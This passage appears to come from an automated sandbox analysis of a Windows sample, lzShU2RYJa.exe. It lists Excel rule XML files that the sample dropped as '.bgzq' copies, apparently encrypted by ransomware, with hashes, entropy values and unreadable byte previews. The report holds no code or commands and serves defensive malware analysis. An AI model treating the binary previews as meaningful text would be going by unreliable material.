Entropy (8bit):	7.6908866293887
Encrypted:	false
SSDEEP:	12:y6waK6QFIcAIKARzos9fTcOPE64gKzRTvzP0SVjyDh4QkuW8LfPoiQxYkbFDSjVX:0aKFOcAzgJcOPE7gKzrVOt4QkHk3f+Da
MD5:	A0D3526871B21013F6D8988A7CA5A14A
SHA1:	96FA72068BC3E0C46E4BD933CF7D8F6347B028E8
SHA-256:	734DA8D92DE3996BA9E280D14DC31B4C3D58C06EFCE04D9C68C5C6B0B0176568
SHA-512:	52D752E7F05D3FF18FF46010759146E3625C194D31B741652A4F92B0C35A50C952EE477894FD0976380D22F99EBF2B2B61EA6744C869CDB363B0FC1AB64A9F3D
Malicious:	false
Preview:	<?xml.{r..3...._/.?.....\.&X4[/%.0.-..5..c...V~..G..K.k9.0..]....0+..9>.8.z,....8....q..C..7..17...G.t......~..UC.8.9.&<...3..moy..m.Y{.8.!..a..y..c.i.].Z.FY....G,.CM.z....(.V......'..../.......>(a.xH.S.,Wd.W.2_z...=.d..8r.p.#.~r.`......L...6M.....+7<...j.Q..)..u.<.....G).p.a.'.]f...#......Zm.bF....Sxmk...+...A.W..Ni`...j.&...a$.....t..g..y/8... k.........T.t..su.I.>.]...j.pr..B.F?H........D.gE...u.E.X..Cq..y..C.ar`......,.J.w..YdS.WZ...&^3..N..r..6....&....k..inK..5..A5..Y21....<...u........#..n.<.W...il.W..HF........!f.y>.Z.m.4...h]L,oqq.....j/i.@ SM..i...b.]..Q,..?..p0._'.....;.}.......m7......+m>.....K........'.S.....U...f]A0.M0.\itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120640v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.678332053207359
Encrypted:	false
SSDEEP:	24:bZzeXL8phDipZAIQuwuMyd6qQ0EkbhOKVbD:bZzebOXPBuME/rFD
MD5:	FB5EC3052E3ED4C7F4AC4092ADB2B5FB
SHA1:	7ECD3E17C4EAD21F62908AAB80CBF8BC0C01E64E
SHA-256:	7CE9A5CBD864CDD4E8C0A7C3F1BFDC69C7360EAA295ED3E369A6F6EDCFC83053
SHA-512:	4286F473628B80AB0373BB745ADBACFB33B85461237D5B5E79D041ADCC4EA3CCD4BE4B31BB5883DB9AD2EFC5C0F310A72EA42EDE780381EB82782D2C7914F0A3
Malicious:	false
Preview:	<?xml..[$.D...Em.k.Pr.1..\|......&.a.\|.t.......v....S........U.$....Fz.M4..fHgYl...x~..v.....E}...m..v....?..%..P......,.4.hM.e..B...Cu...?7.......}...o:....?.....".9$q.7."q..../o-...)..a.j....$A ..T.7.E.....V.z...U....#...u..D.j....q?..f.\.xRF..g...P0.Z.[..I`..U...X..n......Fd.......b.l.XF...be..m..@q:..x.V...b.1.g]M.=.........&.^...W~`.F4..Fh...-..&.o."..T..O....3..\|E.TiE6.n.{.?.q`......l.Q...u...{.lvK7._9V..#.0j.l^.A.["h...B.......x..\W....=.....S..x....W...BH...[.....6...9wQ..\|...Y...fI.<....'.. \.l.;.#...{...{...;{Af..\x".E.\...U....:...l..gOV..Jfd.L...7@K.-..08..$.....a.....A....<A...Q..5...&.L..... ....NKo.......+., t..%D_.~..r.f....0f..{.&%..1.'H..k.m2e .\|.Z$..j=.k...g7hX)..witkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120641v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.655936182868751
Encrypted:	false
SSDEEP:	12:jJ6yqoVVDaf9uP2xxMkUeGNCD/3RKASStzT//tTKp1oQTM8RLAOnx67hrfXBOxj9:QN2sqkUeN/fhtzTX8p1ck7mrfX4ZVbD
MD5:	D2D7CC8A5E395814489438CC8AF7EBAA
SHA1:	5C37FAE96BF7C6101F3ADE2D810671B63715A3A4
SHA-256:	BED6F3425B842FE3477630807F851C144D8C75046895F4C0860FFAFEF9DC9C02
SHA-512:	5D8D4F8B57B4541E6CE87D3176CA39C8BD15B2C8249AB94223EAD453102F080AC35F6CA8A435CE999362E7372A47BE785FD955A2E845712A735D35A4FE2CD546
Malicious:	false
Preview:	<?xml.........kOW.J..>....'...Y..j1..7[.(V.._..i=<.L....;?..f..%&.4..7.c\|..!..[...[...../.uu..6..}gl.P2.IPr..u.-`..2.6. ..w.P. ..~.PBz.\wTY..i...3K..KP...-.4.!}../vwj^...`j...fv..C...v..+`...l.WI.4.~}..........j..2J.W7....'.../dY...b..\2v...D.....]...{.`.{._...^.h.r.....D.{A.m&.....{.c..Y4.G.Cy+.T.....-@.7Y...,..F,.=...~GM.{PM...1......T(......U.[.V.....3...1o......:..F+..,.....Y.W..IN..%.s.J...R....)7..z..JU..o..P.w.F...x{W.e.'.o.m.....}I..E..A...%.P.>.mTS4F..S......F.K.KU.... .V.....u.S.xf...XFk.M.I...h.$.z.....2..Z.cW.d...@......."{1.LF...p..Lc,%VA5........(..m.ku_B.soeMk...k.1t.#'bz..h...N..c.%...7.{.."..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120642v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.751543424075985
Encrypted:	false
SSDEEP:	24:2pgiXfKyMSai+LU3dvswW+VNeFRPVGnVbD:OspU3dTWCeFxVGnFD
MD5:	12CDAF7FC9041874180C22B9AF966574
SHA1:	9E4E98A3F793FE7C85E519595F4093A287CCFC8F
SHA-256:	CA63FE9AE098B988B2D3D0118D4EDDA75DABB29F79AC6ACEEE68ED31877D01E7
SHA-512:	6082928D41F81AAE2E935E29A3FD2C45637FB8B4DDD81A4C23231757F8A0C380B317C432B3BF747017E18364542E6D1E5561730AE39655B11EB51045A59BE72D
Malicious:	false
Preview:	<?xml.AJ.~....T...Q..8.>.....w.z..m....`E..Y...{Xq.(T.yC.\1X...;Q..B.I..ck.H..Pbp[....Ao....Qz...9U.yM.j..!.`mSgb..x.....4.=...wh..o.....;......d.Z.@....w...4}...L...t.D.)h0...4.%?.......BF..`;......Ej...=t....'o3.'...p.;.dS....P....8.......y..q...z1.6.....4>..H..m..>..........K....8P.=.c....TW.KJ.:..+......g.Z.D...`..3%SRPz..Du..<.rq..z...CJ}4X.4.... ..j.....!.N...J...~.L.....A.9..5..Qi.C..6...,.xI...*..a..F.f.^..3..M....Q.jW...P.5.;a...AB&..T7....[.4L../l..Ld>).ck...m...x.......E..V.~...d.g..1.....v+...'#....bH......%".c_..6.2T.N..~.....{.. h...(.G.p..{b5.Z./.^n.h..{.@a)T..e.V..9.....0d..^.....N.......[sPVA....+..h.?7...OS..;W..Ul.....+._zs"".(7l.X...T....\|i.(.....$.G..P~nitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120643v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	733
Entropy (8bit):	7.7039972621299375
Encrypted:	false
SSDEEP:	12:atQ9s+7Yuyzg3/8FQwPgoAc3GQKpJj3nbk54b7Ff3/vuHx/pr7fr77bWyC8ejVcq:aq9XY5s/twPgoD/kjXM4b753/vExr7f0
MD5:	7ABCA7A5FFC550F8E7342096A290C540
SHA1:	31F43D8E23E76D12ECF3C4A0AFBF5403DC7B0BC3
SHA-256:	261549A03671DC4D3699AA940A917E6F939830ADE15205111B37AE3B926B2440
SHA-512:	F21BF71C1950EBF88B855A8A460C98C4EFAE67E5F370CEFC5788B8163BB17FF69D8D914040DB170AB6AC787F0F2692136B8187878FFBDD69319229897EC59A94
Malicious:	false
Preview:	<?xml.h.5d..._C ...$..I.Tx6;..P".4.".5..j..jWSR....(h...QxZ<.;?P......1....KtD......L.d=.D....q$.%..7..`.Uc.`{...kn.1.=..U.......#.....V.].W...~...}zx.w..Y...:.z....Q......!.S..f...SU.....>-J..R.E...kM...1........L...\|&k.Z.6.....c...\|..G.(p...Eo..n ..a3....]c.....w...........0:=..Rq.....a....$4......i3f..........VJ.O.s...u.[5....R..o.$8....D...l...'...c...\...7...z.x=..\|.\.a/..W.].].....6C....?.. V..w.E..! &.:..T...............Y....%'...A...WGD^....w..3.....ki...'...........T.\.C......(....q....t.vq...6...`.C..C..~..F..<}o,..........B?.^....x..\.&.Mrj.....F..h.~.$N.o..Z.......#.....T@..{..X).Y'....O.&...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120644v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.707540181585845
Encrypted:	false
SSDEEP:	12:H1VnW3KE15loxCPqS8aYWdSGmWln+9viBZYqSQU0iPLqAzqKgn5vclGAo5jVciik:VVO5loxCIa9ZlS2QZzvgdc3yVbD
MD5:	9C77769822057CB571A918E15D7144F4
SHA1:	7612CF5BD8DE466FA6C48D81AD0B513ECD5B435D
SHA-256:	D2C080692F1B31471DF6E2B685429DFB327EC9E832ADC86A7175021A08E501DC
SHA-512:	75BB9CE4DDDD6B4914FB22730BE289C293C595AD3B2F596BC018A66809F1BB46879F3136F1B87CB3F9F7AA6AED8AE344474558BDD17FC771A6C7EC26DC684B83
Malicious:	false
Preview:	<?xml.i.u.7Y.B6.....L..93.JekDC=........(7.k...T.Z.L.y;`.5..f..$+C....s.j.o.`..P.en..18...Ic1.Q....o.C..G.(.dt%`o,)..A..J ...i.k..f'=R5....v.s.'..l...U..G_..............ai.k..}....hW.J. O-n......@...m...y......2......r.e:[...4.D.....{'..g.z...3;......Ld.."H.kY&...........c'..^`..h.....;..tWT..#.....MNl.l....].2.......8M...GU.Y......d6....P.Ty]..nP.ud....}+a+.e...de.........<.....g&B3.B.8]...<.F..W..<."L<..1.L.l....k...uM,...D.....o..HO..C........H...L.A..9........Z...~G../m...^....kK....U.M.n....G7!...........;.....v...s..f.f`6 A........._.t.F.:.-.pnS....X..%!...tl.b...>.Z;vB.r..0.3.#j.x..HB..$.H..9.4~Qo_.20l..2..,....=....G....^4i.....B{.,s.L.CyD...5e.+.o+S...;1."w4f.p~.H..LH..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120645v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.716949431667938
Encrypted:	false
SSDEEP:	12:mpD+DRk+8/DHyeNWKH0O1REYhbA9Zycdq/t/WTD61JbZ56k3hUF1iNU0jVcii9a:mtak7/OeNWKH31RxtAXwdS67bTCF10F9
MD5:	15DC53075C32A4FDA987ADFA99F60D5B
SHA1:	24A147998016892336E80860307C4A147BDAF950
SHA-256:	AC2E5564D711773EB4936453FC313DA06CE9EC63A5E5A6CC651586F39AA0B4F7
SHA-512:	8FDFEE28BCEA93BD12E1B3EE32714F2434346A55F9546C32D38876CAC1D1862373CE0F8474FBD06CE87D46165EAD4613438A6D07D62068E98B173558643E88CC
Malicious:	false
Preview:	<?xmlZ.WP&.S..I....4.uW..\|..F.......(.".....,...P....%R"..t.&.].....Z.A.....e6.T......h.C1.A.V...(.......K1=.uN"ma.........F!.&Z.Quu..._.W)..".&.....%9%...$m...&..j..X.J~..M......\n`A'.!.B.pwj.}hO..I.b>D.U.t.O..a..9S......<i.s...R.Z..l..3*....!....y\|.F.F..{i..t.F..._..zC4C..+@....c..7@...n...F% ..h....b(....}..>..G. .c....s.Ch.wb.;.{.qF ....=.......F...h.,../...Y...i...~K..a{.. ....>...V.].`I^..8F.2..r.Qq..^.A(.k.d.L..9........ ....<....B.m...N.h..M...xI.<.y.R5..Z...C.9<.Gp4o...Y.c1....Z..'K/.&....!5.A.<.'+.d^..9.........}]C.._....4.B.G...f.%w.......J...KP.t.[.....J%#..D.k....oc......&x0.BJ...M...Wp..\|.T...........e]._...8.#..l.B..5.)p..)itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120646v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.756043633853733
Encrypted:	false
SSDEEP:	12:gxq2kDzOxlG0nmWGoOjGwrzl4p6302/gyWJpcmWx0DuqGF6qe8pGeBt+lMjVciik:gxkv2DnDGNjrJy6PHWHjyaqexjlWVbD
MD5:	4C05F2C25329E6CB0D7AACB1119DA4C9
SHA1:	23CA45B2AB61ECF62289D5DD904F5E48B4A147D7
SHA-256:	FEFDA52350AFDB7B63963244C1F28F3F529173F88CDB3C1AF47975ABC594E765
SHA-512:	75833A936218A58CEC6C557B0043F8AF39E04005125C50B48E16E5721AEE828B167682623FC06646B7B0FC28BE3740C183248DEFD1123D879827AB8DE274FBDB
Malicious:	false
Preview:	<?xml].....K.[.q..I.....J..A.....S..........5....f..cIk"L.w.9.6.....NX..Z2.x@8.-.'.o....,L....^..34.w....Z_.....4.X1.ShM..Wu.G..u.!..2.&.;.%G..{9.U>v"..~s3.j<.A..:..LaR..7.M.1.....f.OrA...-D.=..:....6zB.T.....{f.mC.1:V(..F...n..-..r..@Xy....3A7...v.K#.\|C.N..wji;pg.....Y...a3.I.!a.K..0.M.qh......6..N.'.V.......^Y..*-$....3..e.U.W@.y"......O..M0.%...!..~.q(..................../..I...i .v..;?...v.u..d1..su...0].......jFr...y.I..w./.....ba..<..p..Q._.q.=/..Z.BW.."....8og?..2)...hI......+..m.).r.....C=....&..}.O.S.=...nH....;.>..1...c...0.me.:p8....3..P..i[....]........J..........'.^.... ~^.....w.>.p.?.,.)V......S..p....G!.b.k.B..L..V..x.W.84...j2.'j:YV\.vh.3.#.T.%:..).h....8+.......;itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120647v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	781
Entropy (8bit):	7.708697187342052
Encrypted:	false
SSDEEP:	12:F8qkpdf/PPqzf1r7CSojTMrFUhuhg9bur8OieH/CljAXeqNg85DNqyqDDQwjVciD:FkPqz0j2h+PemjOeqNjGy+VbD
MD5:	0D3ABD4591F4EC7B39A098AD724F5B86
SHA1:	53640943759A3ADC07893117125027CC987E1D56
SHA-256:	2B217ED3FCAAF7D7959923DF82059D1F50F154D11DBD80E928EEAFD0BDAE8D78
SHA-512:	E28B689CC6378735E9A8FA07A8D1E53E0E81838281E887136B4EB8A37CBDEF2DED03C18C1BE0B37C2C85EDACB0E5D7132DE3F4F2646EAAA8BE810ADD9974FCC6
Malicious:	false
Preview:	<?xmlw....M.F.~....I..%..n.[.5;..H....S.rp...... e.....[.......W..A...l7.....5..O.....6{.7...^.}5...\|...cOs.rl.YpU+d...~M%...rW....\.t.........=h.;..QN..N..X= I.....XCU..Ld.n7..7.d....k5.n.O.Kv...;.R.....c..o.zG...yb..D...M.E..f....p..4......S..]_.,.c....T0!..._. ....^.6.d..@..d.pq...l&'^b.g.k...O..~(....A6U.*1L"...Psi....c..J< ..].{....q.C.0...c.(J.#..........i.E~3.v..&.#.Vh......;...D..$p.......bEL3/.~....n...Z...N......!y...b...........8N.)..#.Ur.YP.p.@N#j...^.......L.....M..'.......o...a....:b.]s.;Yc[..?..o.R.....4%..5...4..7\|.....`..X2....8..h...4.S......R^.7^`d.....~L......p.g..8......NG[I..[....6\|.t.v....Nv.KBR]y4.......T../.....=.^..!~`d..Witkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120648v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	824
Entropy (8bit):	7.7296343001091605
Encrypted:	false
SSDEEP:	24:1Oujea4U0JwmuHqW2HLtggGMr30gzx8L9bmBbFcVbD:wuivU0TGk7DrkQYoBbFcFD
MD5:	5F1A21305C3033225E57071E81C3DC7A
SHA1:	CEC73E8B68412E7D553F5D5A2B5341193C205CED
SHA-256:	28114C7DA255056B1F5FE4C07236FB3F45462468C187580A4BC342FE4C71AB66
SHA-512:	3FA844EA5253F49658B19A745A84F850BA94CB4CEFF0286534B6DEB02423036A6BFDAECBB1C829BA926CA1467D9C9E0514B647EF4F897FE34CA584EEE1993B8B
Malicious:	false
Preview:	<?xml.vEi.s.rk../...&..q .F4Q..8..*.D..7:..z...;.7.[ip..\|....X.P.P......<.g...{.."\|.#.W.h.\d..:<Z..... 1..9;.sAH.cS...M..5..6........1.;...=..o..O.g.w...../N..L^f....n.q.RE......s.......;..TFe..#%%..z.'..S...6.....C..9.D.Az...?^.$n..y...%%W..Nu....(..?....&.....U4.9..q..E..A..l4.ad.K>.5....{..lk...............@..@.M.q?.`.$.c..U...... @.EQC.t..3..db...u...p.5..Sp}....c.r..........1...p..XLN......F.xC .>.j.#B......6w....".Kh%v.. .^7-B;.-...r{.....kZ...9........~..(t.....?b..-..k..3E.j8.W..G.O=...E..{\|....:..'b.,.X[..;aM.MX..B.!.....i...../.........^_.dD....i....5..._..Z...W"..,.D3.U..V..\|.H.7.K...V........N..Q.:.r3....# .!w;.M..X....C....q.\|%.>\|.F.a.$...<b...;./0g..M.@l)..Os...e.4...G.H.....{...z.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120649v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.67845781930742
Encrypted:	false
SSDEEP:	12:TVcX5mRncoNUyAzKZGr3C7R8L1OSLzDhztBFcPKd7uFquxcHQrRn3wjVcii9a:TVSYncoNUXgG27R8L1nFcPuKrKHQrB3C
MD5:	157EA8D14C5E9236520413C093BBB4D2
SHA1:	A2D520B4F5E183B2A097173162F804F2F2676F47
SHA-256:	EA867FC319C98579F35DBCB5BD54785E39F6BE597C02A94AC28137467240BAC7
SHA-512:	964BCC0BA5051A677095D045A63ACA2B450213353B16A555CA42CC58C169BB49276080FB87FFB66698BC9DB7FC2915DC6FA91C6DED9E8B3152B8A8136125A33C
Malicious:	false
Preview:	<?xml.X>...kW....^.......~..A:.z.t...8.t.3.\|.F......1."w.2.!.s%.jo.........@.H.C&fl...'km.}..q2.m..z%~.~....!.M..6.....c..w\|...E.S..t.X......?..9.w..o....%k.R."..5i.....v...&.z..&..xW..\|..4..z....3.]5...7.....)]XY..v....\.yT.A....J.q.=.r..U....s...R'O%2.?.(.Q3.:..-}\|........:_\|...u13.wB.W.o....=..-I.2}.K...P...by..r...\|....<..f6.X]7W.v...C....sk...z.j"`.i..K..$M.....B"x.-.....S...P..#k..B.....l...:.Q.H...CSQ..5$.WDV...Q.6/.M.P15....aU.-/.sgBc..9.....%r..p4" ...Av...D84.8C..W.w........R.......ML".*c...13.:.3. .BpP...Lqv8..,.b..Ar.R.$h.....h[........uF..3f@7[.5,0WP:....'..r..'.&..5..@..j.QoV.n..On...\|....k..:....D......F~..VUQ....6.Y.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120650v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.704794333970465
Encrypted:	false
SSDEEP:	24:L1tG+pKixNmS240Q0cjoR2PmlAj3fVY4iG6X+5VbD:jpphNkDCM2Pm23fVqh+5FD
MD5:	7110BC7B3039E1E05FAF9AB1A2F9C5C3
SHA1:	580348F669A5F460BE9F4F9719A00585F62DD119
SHA-256:	69616C4D7F4B099A7796732E3FC2768B973FCC5CEF039ADA3415FDE8E8538671
SHA-512:	5C1068EB31C53826731A90955BDD3C80ADC80E4897C04AE240D1A579E5CFD65BF0E255230993A96916940E73C8E1D5820B254CB861674CE3CF54A0BE5AEF2AB2
Malicious:	false
Preview:	<?xml.7@.y..TI...s?o..emIt.(s......=<...q+D.%.+g3.........Y......fvn.....>R0jh_.....N..D..\Z..?2..lL...3..)....HJ.E..S...0.Qzr.[F..!.B.?.......K..+b)8..`...hD.p...s.xZ...+.A.aB`}.R...G.....P?..(2....l...I.....63.![A..F....R....$.]U.y&..._8.8..:'z.w..u.Gu.A.....S...\.\|<<?.%.{M....;...] .~.28...]....\.qj}.D.N3.^....T.....-f...v...5..7..6ImI1s.....l&:+ ........I..u......+].....I.I\|..`.#\.6....}..3.[......lRhq......#..(.D.....y..CN.....fw....Z.uP.....N...\..,D.N.1....=#.hc.&....T.;.dx..F.p.!m...r:.T/$.n\|...n'.......m.....J ...4.-/,.O'....n.v..2s....%..P{r...s..t.. }.P....4.=..F.8........j.KQz...,.....t...'.aj....W...o...J.[..Z-..~7`Q..".S.v.yU._R........E.....~..N.!U.[G..:9......<3_Fz...e.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120651v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.7411082478287545
Encrypted:	false
SSDEEP:	12:PyHam5dPpeBdP+ylok9spJMqA6paUs2uWuuQNPBhjRS4FW7HNv5xki+WRxMv7jVX:6tQ3d5Xq7pah2u7Ll44g7tX9FEvVbD
MD5:	EEB035BA6FD9C20D145D775375C24666
SHA1:	370B859B1D6CC06A1ED63DDD988C94661ACB5EF9
SHA-256:	41144164653E2717D8B3222EC045AD8BC6BF6A8BA2590D2EB033EADEF9130637
SHA-512:	05FCF54FC8D54595D7D0DA6E235E98CE3501CAD6212C95363C185F250C25FC5FA0060754D538F47AF49CE85BE22381BA0FAB3F7CDB00D618D247FF26A59F5F64
Malicious:	false
Preview:	<?xml3>.<...{3........6..~..%..Z.`.y.l...."...)E..iE..9..j...y.z.Rp+zc1.{...a.`8....E_.G?1....-6\.3P..j.......Z.......;.j...Q.R.>......K..Z..y08..7h.6...F.#...MB.....L.........1.gR..........U....4N.p.2d)~.J.~...s..$..~>r$.o....bb^)K.u..a....d...<.z.zlL.`..[..>]..#<......-V.%=....>x\|.p..)Wfj[) >.5W.P...w....h~..%....,.+:.W*..(...._tg.Jqo.e.ZG..R.{..5.J....!.C.v.g..>H..7O..R.L.FS.a.W.'p8.t.lG.A.....<...i..........p.....S...F.K...... .m....k...e. S..h.'K{.N.w.'... kq...9.G.T6.n.....O;J.M.......@4.4.G.U&@.#...T..?U....X..j,Q4N.[a2.N!F5./_...V..=..S!..7k.3y........a{..Bv..owf.o&t..].!..............,.....(V.Y..v..._..SG.(.E..F.%A..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120652v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.751341577818349
Encrypted:	false
SSDEEP:	12:oazk/RTGEXkMFz8ul1JZH3YdcCv55KIMDFYQqAFsMCu8vpbgQJINPjVcii9a:O/dDz5j3YaCx5rMDK6ZCl6Q2hVbD
MD5:	E5B7AA5345CCEEEB90E122E7D2A72B06
SHA1:	14240B75F9B9E5D596C006F882D13AF77CE3FE8F
SHA-256:	11AE8DEBF6D72FC63ADEE6A97BE01D8A679E7EE3E90D03239020372AC6E5FDB7
SHA-512:	1803C99E8235162ACFE97B9F5F1290E5E9A94204DE7BF2169560A2B42A8C47FEF81F1469BB731DAA54F961CD040FFD2DC9A72496ED75F893EBF9606BEFCDF3CA
Malicious:	false
Preview:	<?xml4Yr5S..u....d....Y. ...U....Z...0g.0`...d..<9..\.&..&..G..mI.m...h.:...;{.......f....YA...K ...........I.K.....O..Y.)D..e...(...N1,..r......_P......@)..l.C.k...:W.......ce-....X...<.........W?ei..cpb.-...e.UV..D./......(..y.GCYv...N...D....q....o~....c.4.......v.5..8y<<K1wC.$..IVDRy]..v.[...N.......e..$.wQhtD..,l._...%<#.7+v[+L^'.\......%^..f..8.E.HM...N]RO.....U`......V...z.....C2s.>....../~..8....l....v....u..&.U@%.A..r...D.$.\|.R.D.&f.,.....Lr..V..b......Ar.IM~-..+......!b.....g.c .Q...,d....dj.V.".........*.5B..l.....48..6...ZQ.v3.P..........O{...4..4x.)\|.....L+@%..........#7..IM....v....aWQ..U...{V.......\ ..o...gA.,..-.8.R.J.(.E..g.;..y?k.f..^..\..Y.>.j...gj.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120653v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.690190219686125
Encrypted:	false
SSDEEP:	12:hzns9lcbfkRyHkertuEuPms+zIH5LrxWbFcMzwGT8Y6EdUbuZb1gv34U4JbLejVX:hzn+cbBEL+axWbFcMz7glEdUKZyv4vW9
MD5:	E921519CAF062750DCCAA59A83B29E1E
SHA1:	F6BF60933957E2D6B25F2645AFF0046FBA1D09E3
SHA-256:	4D677E05364E1105AF7F67C21A17D40B89B8B2EBAA51A4FAA1EDF46B9EDD0D35
SHA-512:	1E2FB3C90F98FD04B59343FA7C1272F931D63778F529C8C7D219BFE9DB363BC9F95F91B24BFAC6633EBE7A5152C3EF3CAD36E926042CEBF0AEC8EE7D0BEDD4FF
Malicious:	false
Preview:	<?xml...&$.)..O.W........>S1.{/{.4.0.b\..1..@.WH...K+..fR#.b.p2.. ..l.~...t..v...@.....W.g.2.E.g\eQ......t.:..\....,3..?..Z=\/..b.......(/. ....;.jB...>.]-}...ts../%....;$.,D...../;.H..6.....O.....9b.;.&.Y9....zJ...m.'MGZh`.Ee.f.yP..G...FC...k.>B.v.sQ...0..'...=......{.K.\|.z.S...%........).s...h..v..T......a..A..7.8....)G@._...E4.s&.I..\|f.........yT.c3.z....P.y...p........5&....\W..%.q.]$t..1'.G7A....xNq.t... aIk.B.x.,..6-/..mR......0..O5...$\|8....S.q.....N..]...Z..0.........E.....:.._cY.B..........-/.?'.<...[j F.....TA.0...C..5uHx..F..%..4R...E.M.E..O.'....4.j.&..i.P......Y6v....08...H..QgnD....WB....~B.}+.qv....D.-..@.8..R?<<T[1..Gf..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120654v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.712619227826201
Encrypted:	false
SSDEEP:	12:92fCEQwRkl0vGUtrBcYats2cS9BNUo2Go4T8B5WVi2otgTNiUHM1APGR30kymds5:o62mMGUNKxtsSeEoZ6VhplGBSXZVbD
MD5:	1EB1BD3972AB6A253A1F912093218D22
SHA1:	52F8628CCA214893AD9866413670EBBAC8874157
SHA-256:	9B29FBEAEAED6145694F039576A0AF1235643441F94E3F87C84EA9D8F6875371
SHA-512:	1C07856DF392FCD160C089E5488A3AD4509EECB212635ECB544883DDA6AD74CD6B2EA8FBFCA628A84BD6D3A7ED422EC7A85ED95998F5AEF1FA8A406A66D2B3BD
Malicious:	false
